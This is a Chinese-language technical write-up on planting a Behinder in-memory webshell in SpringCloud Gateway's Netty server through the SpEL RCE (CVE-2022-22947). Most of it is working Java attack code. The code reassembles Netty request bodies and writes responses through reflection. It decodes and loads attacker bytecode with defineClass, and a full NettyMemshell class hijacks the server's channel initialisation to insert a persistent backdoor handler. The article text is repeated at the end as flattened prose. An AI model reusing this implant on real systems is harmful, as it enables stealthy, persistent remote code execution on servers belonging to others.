SpringCloud GateWay SPEL RCE适配Netty冰蝎内存马
字数 1026 2025-08-07 00:35:04

SpringCloud Gateway SPEL RCE适配Netty冰蝎内存马技术分析

0x00 前言

本文详细分析SpringCloud Gateway SPEL RCE漏洞在Netty环境下适配冰蝎内存马的技术实现,重点解决以下关键问题:

  1. Netty环境下request中完整body的获取
  2. Netty环境下response的获取与处理
  3. 冰蝎服务端在Netty环境下的适配
  4. 冰蝎客户端的必要修改

0x01 环境说明

测试环境使用SpringCloud Gateway v3.1.0版本

0x02 漏洞复现步骤

  1. 添加路由:通过SPEL表达式注入恶意路由
  2. 刷新路由:触发路由更新
  3. 访问路由:执行注入的恶意代码

0x03 技术适配详解

0x03.1 Request获取的难点与解决方案

关键问题

  • Netty中HttpRequest和HttpContent是分开处理的
  • POST数据包body过大时会被分片传输

解决方案代码

public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
    String msgClassName = msg.getClass().getName();
    
    if(msgClassName.indexOf("DefaultHttpContent")!=-1){
        DefaultHttpContent defaultHttpContent = (DefaultHttpContent)msg;
        int bodyLength = defaultHttpContent.content().readableBytes();
        byte[] bytes = new byte[bodyLength];
        defaultHttpContent.content().readBytes(bytes);
        String requestMessage = new String(bytes);
        this.result = this.result + requestMessage;
    }else if (msgClassName.indexOf("DefaultLastHttpContent")!=-1){
        DefaultLastHttpContent defaultLastHttpContent = (DefaultLastHttpContent)msg;
        int bodyLength = defaultLastHttpContent.content().readableBytes();
        byte[] bytes = new byte[bodyLength];
        defaultLastHttpContent.content().readBytes(bytes);
        String requestMessage = new String(bytes);
        this.result = this.result + requestMessage;
        this.send(ctx,this.result);
        return;
    }
    ctx.fireChannelRead(msg);
}

关键点

  1. 使用DefaultHttpContent处理分片的body内容
  2. 使用DefaultLastHttpContent识别body结束并触发处理
  3. 拼接所有分片内容获取完整请求体

0x03.2 Response处理方案

关键问题

  • Netty的Response不继承自javax.servlet.ServletResponse
  • 需要特殊处理回显写入

解决方案代码

private void send(ChannelHandlerContext ctx, String message) throws Exception {
    // 获取必要的Netty HTTP相关类
    Class<?> httpObjectClass = loadClass("io.netty.handler.codec.http.HttpVersion");
    Class<?> responseStatuClass = loadClass("io.netty.handler.codec.http.HttpResponseStatus");
    Class<?> byteBufferClass = loadClass("io.netty.buffer.ByteBuf");
    Class<?> responseClass = loadClass("io.netty.handler.codec.http.DefaultFullHttpResponse");
    Class<?> unpooledClass = loadClass("io.netty.buffer.Unpooled");
    
    // 反射构造Response对象
    Field httpField = httpObjectClass.getDeclaredField("HTTP_1_1");
    httpField.setAccessible(true);
    Object httpObject = httpField.get(null);
    
    Field httpStatuField = responseStatuClass.getField("OK");
    httpStatuField.setAccessible(true);
    Object httpStatuObject = httpStatuField.get(null);
    
    Method copiedBufferMethod = unpooledClass.getDeclaredMethod("copiedBuffer", 
        new Class[]{java.lang.CharSequence.class, Charset.class});
    Object bufObject = copiedBufferMethod.invoke(null, 
        new Object[]{responseContent, Charset.forName("UTF-8")});
    
    Constructor responseConstructor = responseClass.getDeclaredConstructor(
        new Class[]{httpObjectClass, responseStatuClass, byteBufferClass});
    Object responseObject = responseConstructor.newInstance(
        new Object[]{httpObject, httpStatuObject, bufObject});
    
    // 设置响应头
    Method getHeadersMethod = responseObject.getClass().getSuperclass().getSuperclass()
        .getDeclaredMethod("headers");
    Object headersObject = getHeadersMethod.invoke(responseObject);
    
    Method setHeaderMethod = headersObject.getClass().getSuperclass()
        .getDeclaredMethod("set", new Class[]{String.class, Object.class});
    setHeaderMethod.invoke(headersObject, new Object[]{"content-type", "text/plain; charset=UTF-8"});
    
    // 写入响应
    Method addResponseMethod = ctx.getClass().getDeclaredMethod("writeAndFlush", 
        new Class[]{Object.class});
    addResponseMethod.invoke(ctx, responseObject);
}

0x03.3 冰蝎适配方案

关键修改点

  1. 增加对Netty Response的类判断
  2. 修改回显写入方式

适配代码示例

if (Response.getClass().getName().indexOf("netty") != -1) {
    // Netty环境下的处理逻辑
    Class<?> httpObjectClass = Thread.currentThread().getContextClassLoader()
        .loadClass("io.netty.handler.codec.http.HttpVersion");
    // ... 其他反射代码同上 ...
} else {
    // 传统Servlet环境处理
    so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
    write = so.getClass().getMethod("write", byte[].class);
    write.invoke(so, this.Encrypt(this.buildJson(result, true)));
    so.getClass().getMethod("flush").invoke(so);
    so.getClass().getMethod("close").invoke(so);
}

0x03.4 加密与类加载方案

自定义加密实现

private byte[] base64De(String enString) throws Exception {
    byte[] bytes;
    try {
        Class clazz = Class.forName("java.util.Base64");
        Method method = clazz.getDeclaredMethod("getDecoder");
        Object obj = method.invoke(null);
        method = obj.getClass().getDeclaredMethod("decode", String.class);
        obj = method.invoke(obj, enString);
        bytes = (byte[]) obj;
    } catch (ClassNotFoundException e) {
        Class clazz = Class.forName("sun.misc.BASE64Decoder");
        Method method = clazz.getMethod("decodeBuffer", String.class);
        Object obj = method.invoke(clazz.newInstance(), enString);
        bytes = (byte[]) obj;
    }
    return bytes;
}

类加载实现

Method method = ClassLoader.class.getDeclaredMethod("defineClass", 
    byte[].class, int.class, int.class);
method.setAccessible(true);
String deStr = "";
// 自定义解密逻辑
for(int i=0; i<requestMessage.length(); i=i+2){
    String str2 = requestMessage.substring(i,i+2);
    char char2 = (char)(Integer.parseInt(str2,16)-1);
    deStr = deStr + char2;
}
byte[] contentBytes = base64De(deStr);
((Class)method.invoke(new URLClassLoader(new URL[]{}, 
    this.getClass().getClassLoader()), contentBytes, 0, contentBytes.length))
    .newInstance().equals(objects);

0x04 完整Netty内存马实现

import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import java.io.IOException;
import java.lang.reflect.*;
import java.net.SocketAddress;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;

import io.netty.channel.*;

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    String result = "";
    
    public static String doInject() {
        String msg = "inject-start";
        try {
            Method getThreads = Thread.class.getDeclaredMethod("getThreads");
            getThreads.setAccessible(true);
            Object threads = getThreads.invoke((Object)null);

            for(int i = 0; i < Array.getLength(threads); ++i) {
                Object thread = Array.get(threads, i);
                if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                    Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
                    _val$disposableServer.setAccessible(true);
                    Object val$disposableServer = _val$disposableServer.get(thread);
                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
                    _config.setAccessible(true);
                    Object config = _config.get(val$disposableServer);
                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
                    _doOnChannelInit.setAccessible(true);
                    _doOnChannelInit.set(config, new NettyMemshell());
                    msg = "inject-success";
                }
            }
        } catch (Exception var10) {
            msg = "inject-error";
        }
        return msg;
    }

    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        ChannelPipeline pipeline = channel.pipeline();
        pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", new NettyMemshell());
    }

    // ... channelRead和send方法实现同上 ...
}

0x05 关键点总结

  1. 请求处理

    • channelRead方法中HttpRequestDefaultLastHttpContent分两次获取
    • 大POST请求body会被分片传输,需拼接处理
  2. 响应处理

    • Netty的Response需要特殊反射处理
    • 冰蝎原生写response方法不适用于Netty,需做类判断
  3. 会话处理

    • Netty环境下没有原生Session对象
    • 需要自定义会话管理机制
  4. 内存马注入

    • 通过修改NettyWebServer的配置注入内存马
    • 使用反射机制动态加载恶意类

0x06 参考资源

  1. SpringCloud Gateway注入内存马分析
  2. CVE-2022-22947分析与回显实现
  3. 修改版冰蝎实现
SpringCloud Gateway SPEL RCE适配Netty冰蝎内存马技术分析 0x00 前言 本文详细分析SpringCloud Gateway SPEL RCE漏洞在Netty环境下适配冰蝎内存马的技术实现,重点解决以下关键问题: Netty环境下request中完整body的获取 Netty环境下response的获取与处理 冰蝎服务端在Netty环境下的适配 冰蝎客户端的必要修改 0x01 环境说明 测试环境使用SpringCloud Gateway v3.1.0版本 0x02 漏洞复现步骤 添加路由 :通过SPEL表达式注入恶意路由 刷新路由 :触发路由更新 访问路由 :执行注入的恶意代码 0x03 技术适配详解 0x03.1 Request获取的难点与解决方案 关键问题 Netty中HttpRequest和HttpContent是分开处理的 POST数据包body过大时会被分片传输 解决方案代码 关键点 使用 DefaultHttpContent 处理分片的body内容 使用 DefaultLastHttpContent 识别body结束并触发处理 拼接所有分片内容获取完整请求体 0x03.2 Response处理方案 关键问题 Netty的Response不继承自 javax.servlet.ServletResponse 需要特殊处理回显写入 解决方案代码 0x03.3 冰蝎适配方案 关键修改点 增加对Netty Response的类判断 修改回显写入方式 适配代码示例 0x03.4 加密与类加载方案 自定义加密实现 类加载实现 0x04 完整Netty内存马实现 0x05 关键点总结 请求处理 : channelRead 方法中 HttpRequest 和 DefaultLastHttpContent 分两次获取 大POST请求body会被分片传输,需拼接处理 响应处理 : Netty的Response需要特殊反射处理 冰蝎原生写response方法不适用于Netty,需做类判断 会话处理 : Netty环境下没有原生Session对象 需要自定义会话管理机制 内存马注入 : 通过修改NettyWebServer的配置注入内存马 使用反射机制动态加载恶意类 0x06 参考资源 SpringCloud Gateway注入内存马分析 CVE-2022-22947分析与回显实现 修改版冰蝎实现